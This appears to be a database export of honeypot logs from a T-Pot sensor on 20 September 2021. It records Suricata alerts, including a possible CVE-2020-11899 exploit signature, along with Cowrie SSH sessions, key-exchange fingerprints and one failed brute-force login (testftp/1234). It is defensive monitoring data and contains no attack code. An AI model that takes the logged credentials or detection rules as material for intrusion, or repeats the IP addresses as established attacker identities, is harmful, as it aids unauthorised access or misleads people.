34559	fe80:0000:0000:0000:319d:3e8f:a38d:b93f	109.199.241.180	Suricata	2021-09-20 15:02:29.712355+03	2021-09-20 15:15:02.052664+03	{"_id": "qwYWA3wBvYTbRNuEElba", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:02:29.712355+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 90}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 1, "action": "allowed", "cve_id": "CVE-2020-11899", "category": "Attempted Administrator Privilege Gain", "metadata": {"created_at": ["2020_06_22"], "updated_at": ["2020_08_20"], "former_category": ["EXPLOIT"], "performance_impact": ["Significant"], "signature_severity": ["Major"]}, "severity": 1, "signature": "ET EXPLOIT Possible CVE-2020-11899 Multicast out-of-bound read", "signature_id": 2030387}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:319d:3e8f:a38d:b93f", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0016", "flow_id": 1775751952457379, "payload": "AAAAAQQAAAD/AgAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 143, "timestamp": "2021-09-20T12:02:29.712355Z", "@timestamp": "2021-09-20T12:02:29.712Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "................"}}	1	\N	\N	alert	\N	\N
34560	119.29.153.168	109.199.241.180	Cowrie	2021-09-20 15:02:32.240842+03	2021-09-20 15:15:02.053664+03	{"_id": "tQYWA3wBvYTbRNuEGVaN", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "119.29.153.168", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 119.29.153.168:55458 (192.168.176.2:22) [session: a59942c6a971]", "session": "a59942c6a971", "@version": "1", "protocol": "ssh", "src_port": 55458, "dest_port": 22, "timestamp": "2021-09-20T12:02:32.240842Z", "@timestamp": "2021-09-20T12:02:32.240Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	CN
34561	119.29.153.168	109.199.241.180	Cowrie	2021-09-20 15:02:32.243629+03	2021-09-20 15:15:02.054663+03	{"_id": "tgYWA3wBvYTbRNuEGVaO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "119.29.153.168", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "a59942c6a971", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T12:02:32.243629Z", "@timestamp": "2021-09-20T12:02:32.243Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	CN
34562	119.29.153.168	109.199.241.180	Suricata	2021-09-20 15:02:32.521728+03	2021-09-20 15:15:02.055665+03	{"_id": "twYWA3wBvYTbRNuEGlas", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "119.29.153.168", "dest_ip": "192.168.20.116", "flow_id": 2034244559283706, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 55458, "dest_port": 22, "timestamp": "2021-09-20T12:02:32.521728Z", "@timestamp": "2021-09-20T12:02:32.521Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	CN
34563	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:02:32.244678+03	2021-09-20 15:15:02.057664+03	{"_id": "ugYWA3wBvYTbRNuEG1a1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "119.29.153.168", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 55458, "timestamp": "2021-09-20T12:02:32.244678", "@timestamp": "2021-09-20T12:02:32.244Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
34564	223.241.247.214	109.199.241.180	Cowrie	2021-09-20 15:02:24.207927+03	2021-09-20 15:15:02.058666+03	{"_id": "nAYVA3wBvYTbRNuE-lZJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "223.241.247.214", "asn": 4134, "as_org": "Chinanet", "latitude": 31.8642, "location": {"lat": 31.8642, "lon": 117.2865}, "timezone": "Asia/Shanghai", "longitude": 117.2865, "region_code": "AH", "region_name": "Anhui", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "223.241.247.214", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "023a92cd568e", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T12:02:24.207927Z", "@timestamp": "2021-09-20T12:02:24.207Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	CN
34565	223.241.247.214	109.199.241.180	Suricata	2021-09-20 15:02:24.485183+03	2021-09-20 15:15:02.060665+03	{"_id": "nQYVA3wBvYTbRNuE-1Zm", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T12:02:23.925389+0000", "pkts_toclient": 4, "pkts_toserver": 4, "bytes_toclient": 887, "bytes_toserver": 294}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "223.241.247.214", "asn": 4134, "as_org": "Chinanet", "latitude": 31.8642, "location": {"lat": 31.8642, "lon": 117.2865}, "timezone": "Asia/Shanghai", "longitude": 117.2865, "region_code": "AH", "region_name": "Anhui", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "223.241.247.214", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 304407825555149, "payload": "", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"], "flowints": {"tcp.retransmission.count": 1}}, "src_port": 42936, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T12:02:24.485183Z", "@timestamp": "2021-09-20T12:02:24.485Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	known attacker	CN
34566	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:02:24.20893+03	2021-09-20 15:15:02.061664+03	{"_id": "nwYVA3wBvYTbRNuE_FZx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "223.241.247.214", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 42936, "timestamp": "2021-09-20T12:02:24.208930", "@timestamp": "2021-09-20T12:02:24.208Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
34567	223.241.247.214	109.199.241.180	Cowrie	2021-09-20 15:02:24.205169+03	2021-09-20 15:15:02.063664+03	{"_id": "mwYVA3wBvYTbRNuE-lZJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "223.241.247.214", "asn": 4134, "as_org": "Chinanet", "latitude": 31.8642, "location": {"lat": 31.8642, "lon": 117.2865}, "timezone": "Asia/Shanghai", "longitude": 117.2865, "region_code": "AH", "region_name": "Anhui", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "223.241.247.214", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 223.241.247.214:42936 (192.168.176.2:22) [session: 023a92cd568e]", "session": "023a92cd568e", "@version": "1", "protocol": "ssh", "src_port": 42936, "dest_port": 22, "timestamp": "2021-09-20T12:02:24.205169Z", "@timestamp": "2021-09-20T12:02:24.205Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	CN
34568	223.241.247.214	109.199.241.180	Suricata	2021-09-20 15:02:24.485183+03	2021-09-20 15:15:02.064664+03	{"_id": "ngYVA3wBvYTbRNuE-1Zm", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "223.241.247.214", "asn": 4134, "as_org": "Chinanet", "latitude": 31.8642, "location": {"lat": 31.8642, "lon": 117.2865}, "timezone": "Asia/Shanghai", "longitude": 117.2865, "region_code": "AH", "region_name": "Anhui", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "223.241.247.214", "dest_ip": "192.168.20.116", "flow_id": 304407825555149, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"], "flowints": {"tcp.retransmission.count": 1}}, "src_port": 42936, "dest_port": 22, "timestamp": "2021-09-20T12:02:24.485183Z", "@timestamp": "2021-09-20T12:02:24.485Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	CN
34569	223.241.247.214	109.199.241.180	Fatt	2021-09-20 15:02:24.485277+03	2021-09-20 15:15:02.065664+03	{"_id": "oAYVA3wBvYTbRNuE_FZx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "223.241.247.214", "asn": 4134, "as_org": "Chinanet", "latitude": 31.8642, "location": {"lat": 31.8642, "lon": 117.2865}, "timezone": "Asia/Shanghai", "longitude": 117.2865, "region_code": "AH", "region_name": "Anhui", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "223.241.247.214", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 42936, "dest_port": 22, "timestamp": "2021-09-20T12:02:24.485277", "@timestamp": "2021-09-20T12:02:24.485Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	CN
34570	223.241.247.214	109.199.241.180	Cowrie	2021-09-20 15:02:24.485885+03	2021-09-20 15:15:02.066664+03	{"_id": "oQYVA3wBvYTbRNuE_lYy", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "223.241.247.214", "asn": 4134, "as_org": "Chinanet", "latitude": 31.8642, "location": {"lat": 31.8642, "lon": 117.2865}, "timezone": "Asia/Shanghai", "longitude": 117.2865, "region_code": "AH", "region_name": "Anhui", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "223.241.247.214", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "023a92cd568e", "@version": "1", "timestamp": "2021-09-20T12:02:24.485885Z", "@timestamp": "2021-09-20T12:02:24.485Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	CN
34571	223.241.247.214	109.199.241.180	Cowrie	2021-09-20 15:02:25.692236+03	2021-09-20 15:15:02.067664+03	{"_id": "ogYWA3wBvYTbRNuEAlYa", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "223.241.247.214", "asn": 4134, "as_org": "Chinanet", "latitude": 31.8642, "location": {"lat": 31.8642, "lon": 117.2865}, "timezone": "Asia/Shanghai", "longitude": 117.2865, "region_code": "AH", "region_name": "Anhui", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "223.241.247.214", "eventid": "cowrie.login.failed", "message": "login attempt [testftp/1234] failed", "session": "023a92cd568e", "@version": "1", "password": "1234", "username": "testftp", "timestamp": "2021-09-20T12:02:25.692236Z", "@timestamp": "2021-09-20T12:02:25.692Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	CN
34572	223.241.247.214	109.199.241.180	Cowrie	2021-09-20 15:02:26.974707+03	2021-09-20 15:15:02.069664+03	{"_id": "pAYWA3wBvYTbRNuEBlYD", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "223.241.247.214", "asn": 4134, "as_org": "Chinanet", "latitude": 31.8642, "location": {"lat": 31.8642, "lon": 117.2865}, "timezone": "Asia/Shanghai", "longitude": 117.2865, "region_code": "AH", "region_name": "Anhui", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "223.241.247.214", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "023a92cd568e", "@version": "1", "duration": 2.7670156955718994, "timestamp": "2021-09-20T12:02:26.974707Z", "@timestamp": "2021-09-20T12:02:26.974Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	CN
34583	192.168.20.116	109.199.241.180	Suricata	2021-09-20 15:02:04.702269+03	2021-09-20 15:15:02.082665+03	{"_id": "gwYVA3wBvYTbRNuEsVYn", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 24709, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 582283618465597, "@version": "1", "in_iface": "enp5s0", "src_port": 56430, "dest_port": 53, "timestamp": "2021-09-20T12:02:04.702269Z", "@timestamp": "2021-09-20T12:02:04.702Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
34573	0000:0000:0000:0000:0000:0000:0000:0000	109.199.241.180	Suricata	2021-09-20 15:02:28.610113+03	2021-09-20 15:15:02.070664+03	{"_id": "pwYWA3wBvYTbRNuEC1YJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:02:28.610113+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 90}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA zero length padN option", "signature_id": 2200094}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "0000:0000:0000:0000:0000:0000:0000:0000", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0016", "flow_id": 306557457026881, "payload": "AAAAAQQAAAD/AgAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 143, "timestamp": "2021-09-20T12:02:28.610113Z", "@timestamp": "2021-09-20T12:02:28.610Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "................"}}	1	\N	\N	alert	\N	\N
34574	0000:0000:0000:0000:0000:0000:0000:0000	109.199.241.180	Suricata	2021-09-20 15:02:29.136248+03	2021-09-20 15:15:02.071664+03	{"_id": "qAYWA3wBvYTbRNuEDlbw", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:02:28.610113+0000", "pkts_toclient": 0, "pkts_toserver": 2, "bytes_toclient": 0, "bytes_toserver": 180}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA zero length padN option", "signature_id": 2200094}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "0000:0000:0000:0000:0000:0000:0000:0000", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0016", "flow_id": 306557457026881, "payload": "AAAAAQQAAAD/AgAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 143, "timestamp": "2021-09-20T12:02:29.136248Z", "@timestamp": "2021-09-20T12:02:29.136Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "................"}}	1	\N	\N	alert	\N	\N
34575	fe80:0000:0000:0000:319d:3e8f:a38d:b93f	109.199.241.180	Suricata	2021-09-20 15:02:29.720099+03	2021-09-20 15:15:02.072675+03	{"_id": "qgYWA3wBvYTbRNuEElbZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:02:29.720099+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 70}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 1, "action": "allowed", "cve_id": "CVE-2020-11899", "category": "Attempted Administrator Privilege Gain", "metadata": {"created_at": ["2020_06_22"], "updated_at": ["2020_08_20"], "former_category": ["EXPLOIT"], "performance_impact": ["Significant"], "signature_severity": ["Major"]}, "severity": 1, "signature": "ET EXPLOIT Possible CVE-2020-11899 Multicast out-of-bound read", "signature_id": 2030387}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:319d:3e8f:a38d:b93f", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0002", "flow_id": 688253348216035, "payload": "AAAAAA==", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 133, "timestamp": "2021-09-20T12:02:29.720099Z", "@timestamp": "2021-09-20T12:02:29.720Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...."}}	1	\N	\N	alert	\N	\N
